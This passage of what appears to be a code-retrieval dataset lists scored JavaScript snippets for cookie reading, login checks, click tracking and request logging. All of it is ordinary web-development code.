(cookieValue) {\n\t$.ajax({\n\t\tdata: cookieValue,\n\t\ttype: \"post\",\n\t\turl: \"../phpscripts/verifyloginsql.php\",\n\t\tsuccess: function(data){\n\t\t\tif (data == \"true\") {\n\t\t\t\tparseUserCookie(cookieValue);\n\t\t\t} else {\n\t\t\t\tconsole.log(\"login failed\");\n\t\t\t}\n\t\t}\n\t});\n}", "title": "" }, { "docid": "6f110d64d8fd1ddecf31decf415e08e8", "score": "0.5851107", "text": "isNewUserCheck() {\n let userCookie = this.helper.getCookieInfo('userName');\n\n // If cookie exists, it means that user visited site earlier.\n if (userCookie.cookieExists) {\n this.userCookie = userCookie.value;\n }\n\n return !userCookie.cookieExists;\n }", "title": "" }, { "docid": "3c4b36d75c90a958f8a9198713c0a704", "score": "0.58472425", "text": "function checkLogin() {\n var username = getCookie('username');\n var cauth = getCookie('chromoting_auth');\n var xauth = getCookie('xmpp_auth');\n\n // Verify login and show login status.\n var status = document.getElementById('login_status');\n if (cauth == BAD_AUTH_TOKEN || xauth == BAD_AUTH_TOKEN) {\n appendMessage(status, '', 'Sign in failed!');\n if (username) {\n setCookie('username', '', AUTH_EXPIRES);\n }\n } else {\n appendMessage(status, '', 'Successfully signed in as ' + username);\n }\n}", "title": "" }, { "docid": "2056fa4978ee26a5fcb65853d16a6e1d", "score": "0.5843678", "text": "function cookieCheck(req, res, next) {\n var cookie = req.cookies.token;\n if (cookie === undefined) {\n // do not allow access\n res.sendStatus(403);\n }\n else {\n next();\n }\n}", "title": "" }, { "docid": "18dc3214aa0c9a62b4607b4368394b70", "score": "0.57861656", "text": "function CookieUtilities_surveyCookieExists(cookieType)\n {\n var t = '';\n if (cookieType) t = cookieType;\n \n return (document.cookie.indexOf(SiteRecruit_Config.cookieName + '=' + t) != -1)\n }", "title": "" }, { "docid": "8da59ffd7c3ad1b84644131812fee753", "score": "0.5783983", "text": "async function hideAlreadyAcceptedCookieDisclaimer() {\n await import('js-cookie/src/js.cookie')\n\n var consent = Cookies.get('_cookie_consent');\n if (!consent) {\n $('.cookies-disclaimer').show();\n }\n}", "title": "" }, { "docid": "301b8285d144589034a1bfaf87351c75", "score": "0.57508224", "text": "function is_cookie_disabled(){\n\tvar name=\"emf_test_cookie\";\n\tvar value=\"OK\";\n\tset_cookie(name,value);\n\tvar result=get_cookie(name)!=value;\n\tset_cookie(name,\"\",-1);\n\treturn result;\n}", "title": "" }, { "docid": "28bcfa5e0ef1ff7af3083ba5deeebf8a", "score": "0.57185364", "text": "function checkPermission()\n{ \n var flag=false;\n var cookies = document.cookie.split(\";\");\n console.info(cookies)\n for (var i = 0; i < cookies.length; i++)\n { \n var spcook = cookies[i].split(\"=\"); \n console.log(spcook[0]);\n if (spcook[0]==\"uname\" || spcook[0]==\" uname\" )\n {\n console.log(\"in if\")\n flag=true;\n break\n\n }\n \n }\n if (flag==false)\n {\n alert(\"Error 401: Unauthorized. Please login first.\")\n document.location = \"login\";\n }\n}", "title": "" }, { "docid": "6b15d3479b7d93a19fd8c748adbfc953", "score": "0.5712147", "text": "function are_cookies_enabled(){var cookieEnabled = (navigator.cookieEnabled) ? true : false;\nif (typeof navigator.cookieEnabled == \"undefined\" && !cookieEnabled)\n{document.cookie=\"testcookie\"; cookieEnabled = (document.cookie.indexOf(\"testcookie\") != -1) ? true : false;}return (cookieEnabled);}", "title": "" }, { "docid": "42b40644d50f12d59885edf40d0381d0", "score": "0.5680847", "text": "function Get_Cookie( check_name ) {\n // first we'll split this cookie up into name/value pairs\n // note: document.cookie only returns name=value, not the other components\n var a_all_cookies = document.cookie.split( ';' );\n var a_temp_cookie = '';\n var cookie_name = '';\n var cookie_value = '';\n var b_cookie_found = false; // set boolean t/f default f\n var i = '';\n\n for ( i = 0; i < a_all_cookies.length; i++ )\n {\n // now we'll split apart each name=value pair\n a_temp_cookie = a_all_cookies[i].split( '=' );\n\n\n // and trim left/right whitespace while we're at it\n cookie_name = a_temp_cookie[0].replace(/^\\s+|\\s+$/g, '');\n\n // if the extracted name matches passed check_name\n if ( cookie_name == check_name )\n {\n b_cookie_found = true;\n // we need to handle case where cookie has no value but exists (no = sign, that is):\n if ( a_temp_cookie.length > 1 )\n {\n cookie_value = unescape( a_temp_cookie[1].replace(/^\\s+|\\s+$/g, '') );\n }\n // note that in cases where cookie is initialized but no value, null is returned\n\n return cookie_value;\n break;\n }\n a_temp_cookie = null;\n cookie_name = '';\n }\n if ( !b_cookie_found ) \n {\n return null;\n }\n return true;\n}", "title": "" }, { "docid": "a2eaeee66967285ce6626b4639362576", "score": "0.56744367", "text": "function checkLogin() {\n\tvar login = document.getElementById(\"logCond\");\n\tvar cookie = $.cookie(\"stock_auth_token\");\n\tif (cookie != undefined && cookie.length > 0) {\n\t\tlogin.innerHTML = '<a href=\"javascript:logout();\">LOGOUT</a>';\n\t} else {\n\t\tlogin.innerHTML = '<a href=\"/login.html\">LOGIN</a>';\n\t}\n}", "title": "" }, { "docid": "8f8778559ab551cf45fbf6472dfd398d", "score": "0.5672383", "text": "function test() {\r\n\t\tdocument.cookie = \"cookies=enabled\";\r\n\t\tif (document.cookie.indexOf('cookies=enabled') < 0) {\r\n\t\t\t\r\n\t\t\twindow.cookieHackCallback = callback;\r\n\t\t\t$body = document.getElementsByTagName('body')[0];\r\n\t\t\t\r\n\t\t\t$body.addEventListener('click', handleBodyClick, false);\r\n\r\n\t\t} else {\r\n\t\t\tremoveCookie('cookies');\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "e2a057de3942ff67c1d547d7a7358021", "score": "0.56718075", "text": "function getCookie(/*String */name) {\n return $.cookies.get(\"felix-webconsole-\" + name);\n}", "title": "" }, { "docid": "5b9559bd09851eea46a746dd3db913db", "score": "0.56615674", "text": "function checkIfLoggedIn() {\n currentUser = Cookies.get('username');\n if (currentUser) {\n displayLoggedIn()\n } else {\n displayLoggedOut()\n }\n\n}", "title": "" }, { "docid": "a150ae38f28aefa7eda5b05d7cc1bda8", "score": "0.56589395", "text": "function deleteCookieIfExists(cookieName) {\r\n var myCookie = getCookie(cookieName);\r\n if (myCookie == null) {\r\n // do cookie doesn't exist stuff;\r\n }\r\n else {\r\n // do cookie exists stuff\r\n deleteCookie(cookieName);//delete cookie on selecting new location or page reload\r\n }\r\n}", "title": "" }, { "docid": "f4a4648c9287726f3675e631865479b0", "score": "0.5646742", "text": "function getCookie(cname) {\n var name = cname + \"=\";\n var decodedCookie = decodeURIComponent(document.cookie);\n var ca = decodedCookie.split(\";\");\n for (var i = 0; i < ca.length; i++) {\n var c = ca[i];\n while (c.charAt(0) == ' ') {\n c = c.substring(1);\n }\n if (c.indexOf(name) == 0) {\n return true\n }\n }\n return false;\n}", "title": "" }, { "docid": "793882dd7cbfa96cc0bd7b2b221cd4f4", "score": "0.56424177", "text": "function cookieQuestion(userName) {\n var ans1LikeCookies = prompt('Hi, ' + userName + '! Does Paul, the site owner, like cookies?');\n\n //convert the answer to lowercase to make non-case sensitive\n var ans1LowerLikeCookies = ans1LikeCookies.toLowerCase();\n // https://www.w3schools.com/jsref/jsref_tolowercase.asp helped me learn how to use this function.\n\n //if elses to determine response\n if(ans1LowerLikeCookies === 'y' || ans1LowerLikeCookies === 'yes'){\n //console.log('You\\'re right! Paul does love cookies! Don\\'t forget the milk!');\n alert('You\\'re right! Paul does love cookies! Don\\'t forget the milk!');\n totalCorrectAns++;\n } else if (ans1LowerLikeCookies === 'n' || ans1LowerLikeCookies === 'no'){\n //console.log('Who doesn\\'t like cookies?!? Paul loves cookies. I\\'m sorry if you don\\'t :(');\n alert('Who doesn\\'t like cookies?!? Paul loves cookies. I\\'m sorry if you don\\'t :(');\n } else {\n //console.log('Quit messing around:)');\n alert('Quit messing around:)');\n }\n}", "title": "" }, { "docid": "ff527de795d389efc6d1e24c875a730d", "score": "0.56361103", "text": "function checkCookie(cookieName) {\n\t\tvar name = cookieName + \"=\";\n\t\tvar allCookies = document.cookie.split(';');\n\t\tfor(var i=0; i<allCookies.length; i++) {\n\t\t\tvar cookie = allCookies[i].trim();\n\t\t\tif (cookie.indexOf(name)==0) {\n\t\t\t\treturn cookie.substring(name.length,cookie.length);\n\t\t\t}\n\t\t}\n\t\treturn \"\";\n\t}", "title": "" }, { "docid": "2b9f5b50178b4b68523fab86d3d032c4", "score": "0.5635078", "text": "function testPersistentCookie () {\nwritePersistentCookie (\"testPersistentCookie\", \"Enabled\", \"minutes\", 1);\nif (getCookieValue (\"testPersistentCookie\")==\"Enabled\")\nreturn true \nelse \nreturn false;\n}", "title": "" }, { "docid": "86f994ddeaca53301ae1a7bb2ac3e513", "score": "0.5625198", "text": "function showCookies() {\n return document.cookie\n}", "title": "" }, { "docid": "13629df0f89f6be989006e1d173c2e0a", "score": "0.5620063", "text": "function startpage_cookie_get() {\n\tvar cookies = document.cookie.split(\"; \");\t\n\t\n\tfor(i = 0; i < cookies.length; i++) {\n\t\tif(cookies[i] == \"b_sp=1\") \n\t\t\treturn true;\n\t}\t\n\n\treturn false;\n}", "title": "" }, { "docid": "309a33bff017e66152c276e4db01aa2b", "score": "0.56173855", "text": "function Get_Cookie( check_name ) {\r\n\tvar a_all_cookies = document.cookie.split( ';' );\r\n\tvar a_temp_cookie = '';\r\n\tvar cookie_name = '';\r\n\tvar cookie_value = '';\r\n\tvar b_cookie_found = false;\r\n\tfor ( i = 0; i < a_all_cookies.length; i++ )\r\n\t{\r\n\t\ta_temp_cookie = a_all_cookies[i].split( '=' );\r\n\t\tcookie_name = a_temp_cookie[0].replace(/^\\s+|\\s+$/g, '');\r\n\t\tif ( cookie_name == check_name )\r\n\t\t{\r\n\t\t\tb_cookie_found = true;\r\n\t\t\tif ( a_temp_cookie.length > 1 )\r\n\t\t\t{\r\n\t\t\t\tcookie_value = unescape( a_temp_cookie[1].replace(/^\\s+|\\s+$/g, '') );\r\n\t\t\t}\r\n\t\t\treturn cookie_value;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\ta_temp_cookie = null;\r\n\t\tcookie_name = '';\r\n\t}\r\n\tif ( !b_cookie_found )\r\n\t{\r\n\t\treturn null;\r\n\t}\r\n}", "title": "" }, { "docid": "a7506546373bf3953bedb3e06f979910", "score": "0.5611153", "text": "function acceptCookies(elem) {\n elem.parentNode.parentNode.remove();\n setCookie('cookiesAccepted', 'true', 360);\n}", "title": "" } ]
e2a93dee8f89043557d1f82104c52ccc
Log the link or click with the server
[ { "docid": "ae62497cbe21f88ca28fe196ce452ea2", "score": "0.70270187", "text": "function logLink(url, linkType, customData) {\r\n var request;\r\n request = 'idsite=' + configTrackerSiteId +\r\n '&rec=1' +\r\n '&' + linkType + '=' + escapeWrapper(url) +\r\n '&rand=' + Math.random() +\r\n '&redirect=0';\r\n\r\n // encode custom data\r\n if (isDefined(customData)) {\r\n if (customData !== null) {\r\n request += '&data=' + escapeWrapper(stringify(customData));\r\n }\r\n } else if (isDefined(configCustomData)) {\r\n request += '&data=' + escapeWrapper(stringify(configCustomData));\r\n }\r\n\r\n request += executePluginMethod('click');\r\n request = configTrackerUrl + '?' + request;\r\n getImage(request, configTrackerPause);\r\n }", "title": "" } ]
[ { "docid": "d211a22d4b4c5580e9d39da69e41efeb", "score": "0.73452103", "text": "logLink(url, linkType, customData, callback, sourceElement) {\n var linkParams = linkType + '=' + encodeURIComponent(this.purify(url))\n\n var interaction = this.getContentInteractionToRequestIfPossible(sourceElement, 'click', url)\n\n if (interaction) {\n linkParams += '&' + interaction\n }\n\n var request = this.getRequest(linkParams, customData, 'link')\n\n this.sendRequest(request, this.configTrackerPause, callback)\n }", "title": "" }, { "docid": "c6abbda98328e811dcb72e056d19c4ab", "score": "0.69239926", "text": "function logClickLink(target) {\n const props = { text: target.text }\n log('click:link', props)\n}", "title": "" }, { "docid": "909dce8c0d2e34eaf3025309a41ee4a8", "score": "0.666847", "text": "function recordOutboundLink(link, action, label, value) {\r\n _gaq.push(['_trackEvent', action, label, value]);\r\n setTimeout(function () {\r\n \twindow.open(link.href,'_blank');\r\n }, 100);\r\n return false;\r\n}", "title": "" }, { "docid": "01b8dc296dd2151aab03130fc7b6aa88", "score": "0.64971715", "text": "function trackClickLink(id)\n{\n\n}", "title": "" }, { "docid": "534d767917640dad163063bd8d01dabc", "score": "0.6416694", "text": "function trackEvent(link, url)\n \t{\n \t\tvar tab = '_self';\n \t\t\n \t\tif (link.attr('target') == '_blank'){\n \t\t\ttab = '_blank';\n \t\t}\n \t\t\n \t\t// add tracking\n \t\t$('<img src=' + url + ' width=\"1\" height=\"1\" border=\"0\" alt=\"\">').appendTo('body');\n \t\t\n \t\t// open link\n \t\tsetTimeout(function(){ \n \t\t\twindow.open(link.attr('href'), tab);\n \t\t},200);\n \t}", "title": "" }, { "docid": "5db8b400dcb78993f155944276048db1", "score": "0.6344606", "text": "function _track(e) {\n\t\te.preventDefault();\n\n\t\tvar $target = $(this),\n\t\t\turl = $target.attr(\"href\"),\n\t\t\tdata = $target.data(\"scout-event\").split(\",\");\n\n\t\t// Trim that data\n\t\tfor (var i in data) {\n\t\t\tdata[i] = $.trim(data[i]);\n\t\t}\n\n\t\t// Push data\n\t\t_push(data[0], data[1], (data[2] || url), data[3], data[4]);\n\n\t\t// If active link, launch that ish!\n\t\tif (url && !$target.data(\"scout-stop\")) {\n\t\t\t// Delay based on Google's outbound link handler:\n\t\t\t// http://support.google.com/analytics/bin/answer.py?hl=en&answer=1136920\n\t\t\tsetTimeout(function() {\n\t\t\t\t// Check window target\n\t\t\t\tif ($target.attr(\"target\")) {\n\t\t\t\t\twindow.open(url, $target.attr(\"target\"));\n\t\t\t\t} else {\n\t\t\t\t\tdocument.location.href = url;\n\t\t\t\t}\n\t\t\t}, options.delay);\n\t\t}\n\t}", "title": "" }, { "docid": "d536bcec24fa82541cef607d670e5d28", "score": "0.6343467", "text": "static logEvent(eventCategory, eventAction, eventLabel) {\n if(window.location.origin == 'https://lookplex.com'){\n ga('send', 'event', eventCategory, eventAction, eventLabel);\n }\n }", "title": "" }, { "docid": "f72358c851e065f75469eb66fcefcc97", "score": "0.62550277", "text": "function clickHandler() {\n\tconsole.log('link handler clicked');\n}", "title": "" }, { "docid": "74af236f44c56e238f741d8c892c6450", "score": "0.6120075", "text": "logClick() {\n console.log(\"I was clicked!\")\n }", "title": "" }, { "docid": "ac7796154a0d91203c2469469cbd287e", "score": "0.6103732", "text": "function logNewsClickForUser(user_id, news_id){\n client.request('logNewsClickForUser', [user_id, news_id], function(err, error, response){\n if(err) logger.error(err);\n logger.info(response);\n })\n}", "title": "" }, { "docid": "0197339e3fd5ad3b73fed49b75f07271", "score": "0.6035938", "text": "function logNewsClickForUser(user_id, news_id) {\n client.request('logNewsClickForUser', [user_id, news_id], function(err, error, response) {\n if (err) throw err;\n console.log(response);\n });\n}", "title": "" }, { "docid": "3505f3d017cb50e20c678b6095ee80e0", "score": "0.60317385", "text": "function logNewsClickForUser(user_id, news_id){\n client.request('logNewsClickForUser', [user_id, news_id], function(err, response){\n if(err) throw err;\n console.log(response);\n });\n}", "title": "" }, { "docid": "3452e8258d47ab1c8c427d89f52e34db", "score": "0.60254925", "text": "function SendLog()\n\t{\n\tvar hn = window.location.href;\n\t\n\tvar qix = hn.indexOf(\"?\");\n\tvar doc = \"\";\n\tif( qix > 0 )\n\t{\n\t\tvar ok = hn.substr(0,qix);\n\t\tvar temp = hn.substr(qix);\n\t\ttemp = temp.replace(\"?\",\"\");\n\t\t\n\t\tvar params = parseQuery(temp);\n\t\tdoc = params['doc'];\n\t\thn = ok;\n\t}\n\t\n\t\theadID = document.getElementsByTagName(\"head\")[0];\n\t\t\n\t\tnewScript = document.createElement(\"script\");\n\t\tnewScript.type = \"text/javascript\";\n\t\tnewScript.src = \"http://\" + PRNWidget_LocalIP + PRNWidget_RootDir + \"/Store.php?loc=\"+escape(hn)+\"&doc=\"+escape(doc);\n\t\theadID.appendChild(newScript);\n\n\t\t\n\t}", "title": "" }, { "docid": "f3cf72ca0f587c2fd776ee14f41d7efd", "score": "0.6010418", "text": "function showLinkSanityLogs(){\n\tconsole.log('LInk Sanity');\n\t$('#eventNewDevicelogstext').empty().append(\"\\n\"+\"Config Name: \"+ConfigName1+\"\\n\");\n\t$('#eventNewDevicelogstext').append(\"==================START LOGS===============\\n\\n\");\n\tvar url = \"https://\"+CURRENT_IP+\"/cgi-bin/Final/NFast_RM/NFastRMCGI.py?action=getEventID&query=resId=\"+globalResourceId+\"`devId=\"+DeviceId;\n\n\t$.ajax({\n\t\t//url : \"../php/dbm_receiver.php?action=getEventID&resId=\"+ResourceId1+\"&devId=\"+devId,\n\t\turl: url,\n\t\tdataType: 'html',\n//\t\tdata = $.trim(data);\n\t\tsuccess : function (data) {\n\t\t\tif(data == \"0\" || data == 0){\n\t\t\t\talert(\"No Link Sanity Logs available.\");\n\t\t\t}\n\t\t\t$(\"#eventNewDevicelogstext\").append(data);\n\t\t\t$('#eventNewDevicelogstext').scrollTop($('#eventNewDevicelogstext').height());\n\t\t\t\t\n\n\t\t}\n\t});\n\n\n}", "title": "" }, { "docid": "f112d42a5342d790b717160d5aa38bc4", "score": "0.5995682", "text": "function log(message){\n //Send an HTTP request\n console.log(message);\n\n //Raise an event\n emitter.emit('messageLogged', {id:1, url:'http:// '});\n}", "title": "" }, { "docid": "12efa957fbf2ef93b926bb3130d62090", "score": "0.59914285", "text": "function alarm(e) {\n\te.preventDefault(); //zapobiegamy domyslnej akcji\n\tconsole.log('kliknięto kolejny link');\n\t\n\tconsole.log(e.type);\n}", "title": "" }, { "docid": "b5d935c208e69158c4a3b2a93e742a26", "score": "0.59732246", "text": "function handleRequestForLogLinks(request,sendResponse){\n var links = request.links;\n SearchQueryUrls = SearchQueryUrls.concat(links);\n console.log(\"Logged all link\", SearchQueryUrls)\n}", "title": "" }, { "docid": "3d01b9b6b3e7d0ce67268b3da1e9de7d", "score": "0.59691626", "text": "function logClickButton(target) {\n const props = { text: target.text }\n log('click:button', props)\n\n // Google Analytics fallback: remove once Bard and Mixpanel are ready for SCP\n ga('send', 'event', 'click', 'button') // eslint-disable-line no-undef\n}", "title": "" }, { "docid": "1d5e027773ff314d430ac580b799b39d", "score": "0.5930887", "text": "function trackOutboundLink(el) {\n $el = $(el);\n var url = $el.attr('href');\n var action = $el.data('behavior');\n var target = $el.attr('target');\n ga('send', 'event', { \n eventCategory: 'Outbound',\n eventAction: action,\n eventLabel: url,\n transport: 'beacon',\n hitCallback: function(){\n if(target!=='_blank'){\n window.location.href = url;\n }\n }\n });\n}", "title": "" }, { "docid": "387c1bc3a3ef4e2c5c4be89a61d0e9f0", "score": "0.59119874", "text": "function logactive() {\n // Header info\n location.hash = 'log';\n document.title = `Log: Tasks`;\n window.location.href = 'log.php';\n}", "title": "" }, { "docid": "2507382504a6e8c5c5187062eb6977b4", "score": "0.590391", "text": "log(message){ // function keyword no longer needed\r\n\t\t// Send an HTTP request\r\n\t\tconsole.log(message);\r\n\r\n\t\t// Raise an event with event arguments\r\n\t\t// with this we can pass data about the event that\r\n\t\t// has just happened\r\n\t\tthis.emit('messageLogged', {id: 1, url: 'http://'});\r\n\t}", "title": "" }, { "docid": "6f06f061f6bc1590f14ba2145f745555", "score": "0.5900818", "text": "function browserActionClickEvent (tab) {\n injectedMethod(tab, 'browserActionClickEvent', function (response) {\n var uri = response.data;\n if(uri){\n flush(uri);\n }\n return true;\n });\n}", "title": "" }, { "docid": "a5d841a2fabd80af15f58b935d1f4bec", "score": "0.58953726", "text": "function clickHandler(info, tab) {\n if (info.menuItemId = getEmbedCode) {\n const postURL = info.linkUrl;\n if (postURL.startsWith(\"https://twitter.com/\")) {\n const requestURL = oEmbedURLTwitter+postURL;\n makeRequest(requestURL);\n } else if (postURL.startsWith(\"https://www.instagram.com/\")) {\n const requestURL = oEmbedURLInstagram+postURL;\n makeRequest(requestURL);\n } else if (postURL.startsWith(\"https://www.youtube.com/\")) {\n const requestURL = oEmbedURLYoutube+postURL;\n makeRequest(requestURL);\n } else {\n console.log(\"Oops. Something went wrong. Did you copy a Twitter, Instagram or Youtube link?\")\n }\n }\n}", "title": "" }, { "docid": "ec3077f2292250fa1a41897c69b970fb", "score": "0.5810059", "text": "function executeLinkClick()\n{\n\tController.onLinkClick.apply(Controller, arguments);\n}", "title": "" }, { "docid": "e6f16964faeccb14c0988d9e9cce88ca", "score": "0.5800833", "text": "function onClickTiddlerLink(ev)\n{\n\tvar e = ev || window.event;\n\tvar target = resolveTarget(e);\n\tvar link = target;\n\tvar title = null;\n\tvar fields = null;\n\tvar noToggle = null;\n\tdo {\n\t\ttitle = link.getAttribute(\"tiddlyLink\");\n\t\tfields = link.getAttribute(\"tiddlyFields\");\n\t\tnoToggle = link.getAttribute(\"noToggle\");\n\t\tlink = link.parentNode;\n\t} while(title == null && link != null);\n\tif(!store.isShadowTiddler(title)) {\n\t\tvar f = fields ? fields.decodeHashMap() : {};\n\t\tfields = String.encodeHashMap(merge(f,config.defaultCustomFields,true));\n\t}\n\tif(title) {\n\t\tvar toggling = e.metaKey || e.ctrlKey;\n\t\tif(config.options.chkToggleLinks)\n\t\t\ttoggling = !toggling;\n\t\tif(noToggle)\n\t\t\ttoggling = false;\n\t\tif(store.getTiddler(title))\n\t\t\tfields = null;\n\t\tstory.displayTiddler(target,title,null,true,null,fields,toggling);\n\t}\n\tclearMessage();\n\treturn false;\n}", "title": "" }, { "docid": "501c5357ebc080114f40c43ac3999a29", "score": "0.57987", "text": "function logNewsClickForUser(user_id, news_id) {\n client.request('logNewsClickForUser', [user_id, news_id], null, function(err) {\n if (err) {\n log(`Log ${user_id} click failed`);\n throw err;\n }\n }\n );\n}", "title": "" }, { "docid": "c9c3f243babeaca5b5bfd447124a8720", "score": "0.5793251", "text": "static info () {\n console.log(\"Click the bell for notifications of new videos :D\")\n }", "title": "" }, { "docid": "2cdca5bcf5ddf8d54dca718f5c5a0885", "score": "0.5772851", "text": "log(message) {\n // Send an HTTP request\n console.log(message);\n\n // Raise an event with the name of the event\n this.emit('messageLogged', {id: 1, url: 'http://'});\n }", "title": "" }, { "docid": "3cfe940161ec66685f102a258e56b956", "score": "0.57576615", "text": "function handleDocumentLinkClicks(url) {\n gtag('event', 'click', {\n 'send_to': 'UA-150909892-1',\n 'event_category': 'Documents',\n 'event_label': url\n });\n}", "title": "" }, { "docid": "805dfcc2bc18f3951c0450535ece1e77", "score": "0.57560337", "text": "function trackClicks(){\n $('a').click( function() {\n saveTime();\n // $.post('http://0.0.0.0:9090/recordClick', {data:$(this).attr('src')}, function (){});\n console.log(sessionTimes);\n });\n}", "title": "" }, { "docid": "e5170f0420924eb0867f9650b110a94a", "score": "0.5755103", "text": "logClickableLink(text) {\n // Insert a paragraph into the section.\n var p = document.createElement('p');\n this.div.appendChild(p);\n var a = document.createElement('a');\n p.appendChild(a);\n a.setAttribute('href', '');\n a.appendChild(document.createTextNode(text));\n\n return new Promise((resolve, reject) => {\n a.addEventListener('click', e => {\n e.preventDefault();\n resolve()\n });\n });\n }", "title": "" }, { "docid": "31b6bf2bd67336786ceb8c52e347ae6e", "score": "0.57521826", "text": "function _applyClickLogging(selector,trackingCode){\r\n\t\r\n\t\tvar c = $(selector);\r\n\t\tvar items = c.find(\".returnedComponent\");\r\n\t\tvar targetLinks;\r\n\t\tif(items.length > 0){\r\n\t\t\t$(items).each(function(){\r\n\t\t\t\tpartnumber = $(this).find(\".partnum\").text().replace(\"/\",\"\");\r\n\t\t\t\ttargetLinks = $(this).find(\"a\");\r\n\t\t\t\t$(targetLinks).each(function() {\r\n\t\t\t\t\t//not these links\r\n\t\t\t\t\tif($(this).hasClass('btnbuyreserve') || $(this).hasClass('quickinfo')){\r\n\t\t\t\t\t\t_bindAvailAddToCart(this,partnumber,trackingCode,this.href)\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t_bindAvailLogging(this,partnumber,trackingCode,this.href);\r\n\t\t\t\t\t}\r\n\t\t\t\t});\r\n\t\t\t});\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "894cc062e989a954fef2d1c690de2207", "score": "0.57497287", "text": "function sendOmnitureClickEvent(linkname) \n{\n if (Is_Omniture_Enabled == 'true') \n {\n OmnitureClickEvent(linkname);\n }\n\n if (Is_GA_Enabled == 'true') \n {\n GATrackItemActivity(linkname);\n }\n}", "title": "" }, { "docid": "95e593ca2548f1b65a51591a3833559c", "score": "0.5729351", "text": "function logger(req, res, next) {\n\tconst timestamp = new Date().toLocaleString();\n\tconst method = req.method;\n\tconst url = req.originalUrl;\n\tconsole.log(`[${timestamp}] ${method} to ${url}`);\n\tnext();\n}", "title": "" }, { "docid": "9c88329d81db03e2dcf1fac6d1ca9987", "score": "0.5727782", "text": "handleClick(e) {\n e.preventDefault();\n console.log(e.target)\n //this.props.offline() \n console.log('The link was clicked.');\n }", "title": "" }, { "docid": "539f5c14aeb0d5e4c092983ac84ce534", "score": "0.5692138", "text": "function fClickLogon() { \n\n\tconsole.log( '+++ fClickLogon() - establir codi a executar en picar Logon().' ) ;\n \t$( \".clkLogon\" ).click( function() {\n\n\t\tconsole.log( '*** fClickLogon() - you did click on LOGON() link.' ) ;\n\t\t$.get( '/logon.htm', function( page ) {\n\n\t\t\tconsole.log( '*** index - demanem al server la sub-pagina LOGON.' ) ;\n\t\t\t$( \"#content\" ).html( page ) ; // show received HTML at specific <div>\n\n\t\t\tvar x = llegirCookie( 'kukHN') ;\n\t\t\tvar y = llegirCookie( 'kukVER') ;\n\t\t\tif ( ( x ) && ( y ) ) {\n\t\t\t\tvar szOut = '<center>hn{' + x + '} ' + y + '</center>' ;\n\t\t\t\t$( \"#my_hostname\" ).html( szOut ) ;\n\t\t\t\tconsole.log( '+++ fClickLogon() - set HOSTNAME[%s] and VERSION[%s].', x, y ) ;\n\t\t\t} else {\n\t\t\t\tconsole.log( '--- fClickLogon() - couldnt find cookie for HOSTNAME[%s] or VERSION[%s].', x, y ) ;\n\t\t\t} ;\n\n\t\t}) ; // get(logon)\n\t}) ; // clkLogon\n\n}", "title": "" }, { "docid": "5b3b2beb62b3e3ad9b4a1e8bae5f4c5b", "score": "0.5692126", "text": "function trackingClick(e) { }", "title": "" }, { "docid": "15b186d4d85760a61cf0ad3660d6992f", "score": "0.5685025", "text": "logOnServer(severity, url, lineNr, message)\n\t{\n\t\tAPI.send('/api/logging/log',[{severity: severity, url: url, lineNr: lineNr, message: message}])\n\t}", "title": "" }, { "docid": "2d5c699e0f903f9bd47f5182c315ec51", "score": "0.5667879", "text": "function onClickTiddlerLink(e)\r\n{\r\n if (!e) var e = window.event;\r\n var theTarget = resolveTarget(e);\r\n var theLink = theTarget;\r\n var title = null;\r\n do {\r\n title = theLink.getAttribute(\"tiddlyLink\");\r\n theLink = theLink.parentNode;\r\n } while(title == null && theLink != null);\r\n if(title)\r\n {\r\n var toggling = e.metaKey || e.ctrlKey;\r\n if(config.options.chkToggleLinks)\r\n toggling = !toggling;\r\n var opening;\r\n if(toggling && document.getElementById(\"tiddler\" + title))\r\n closeTiddler(title,e.shiftKey || e.altKey);\r\n else\r\n displayTiddler(theTarget,title,0,null,null,true,e.shiftKey || e.altKey);\r\n }\r\n clearMessage();\r\n e.cancelBubble = true;\r\n if (e.stopPropagation) e.stopPropagation();\r\n return(false);\r\n}", "title": "" }, { "docid": "f24bc1e6f3cae28f392364d6319ba98f", "score": "0.5667767", "text": "function bindCaptureCallback() {\n $(\".webPages a\").on(\"click\", function (e) {\n\n console.log(\"Clicked on link: \" + this.href);\n var link = this.href;\n\n $.ajax({\n url: '/capture',\n method: 'post',\n data: JSON.stringify({url: link, taskId: $('#taskId').val()}),\n contentType: 'application/json',\n dataType:'json',\n success: function(data) {\n console.log(\"Done. Opening link\");\n }, error: function (errorData) {\n alert(\"error: \" + JSON.stringify(errorData));\n }\n })\n\n });\n }", "title": "" }, { "docid": "b5be07cca0755963ef3f36d53ba9558a", "score": "0.5667287", "text": "onEmberLoggerLogButtonClick() {\n Ember.Logger.log(\n this._generateUniqueMessagePrefix() +\n this.get('i18n').t('forms.log-service-examples.settings-example.ember-logger-log-button-message'));\n }", "title": "" }, { "docid": "d5430bb72414856ef89dd4d1a6d07e75", "score": "0.5663362", "text": "function methodLogger(request, response, next){\r\n\t\t console.log(\"LOGIN\");\r\n\t\t console.log(\"*******************\");\r\n\t\t console.log(\"METODO: \" + request.method);\r\n\t\t console.log(\"URL:\" + request.url);\r\n\t\t next();\r\n}", "title": "" }, { "docid": "35b8d26f0dcc4117c2ca7820b959afb9", "score": "0.5658186", "text": "function logging_action() {\n // make sure responselog is enabled\n var hasResponseLog = logging.responseLogEnabled();\n if (!hasResponseLog) {\n logging.enableResponseLog();\n log.debug(\"enabling response log\");\n }\n if (req.data.info) {\n log.info(\"Hello world!\");\n } else if (req.data.error) {\n try {\n foo.bar.moo;\n } catch (e) {\n log.error(e, e.rhinoException);\n }\n }\n render('skins/logging.html', { title: \"Logging Demo\" });\n if (!hasResponseLog) {\n log.debug(\"disabling response log\");\n logging.disableResponseLog();\n }\n logging.flushResponseLog();\n}", "title": "" }, { "docid": "f805947a25f0ad40bbdaf7f9c291fda2", "score": "0.56467164", "text": "function SendLinkAddress(destLink, target) {\r\n try {\r\n // alert(\"link send to server\");\r\n var JSONObject = { CommandName: \"Redirect\", Parameters: [{ LinkAddress: destLink, Target: target}] };\r\n connection.send(JSON.stringify(JSONObject));\r\n } catch (ex) { alert(ex); }\r\n}", "title": "" }, { "docid": "5a532e7791c1f864217988af4425cbe6", "score": "0.56417954", "text": "async function deeplink() {\n try {\n await sendEvent({url: `http://${config.ip}:${config.port}/launch/dev?contentId=${config.deeplink_content_id}`})\n } catch(e) {\n return console.error(e)\n }\n}", "title": "" }, { "docid": 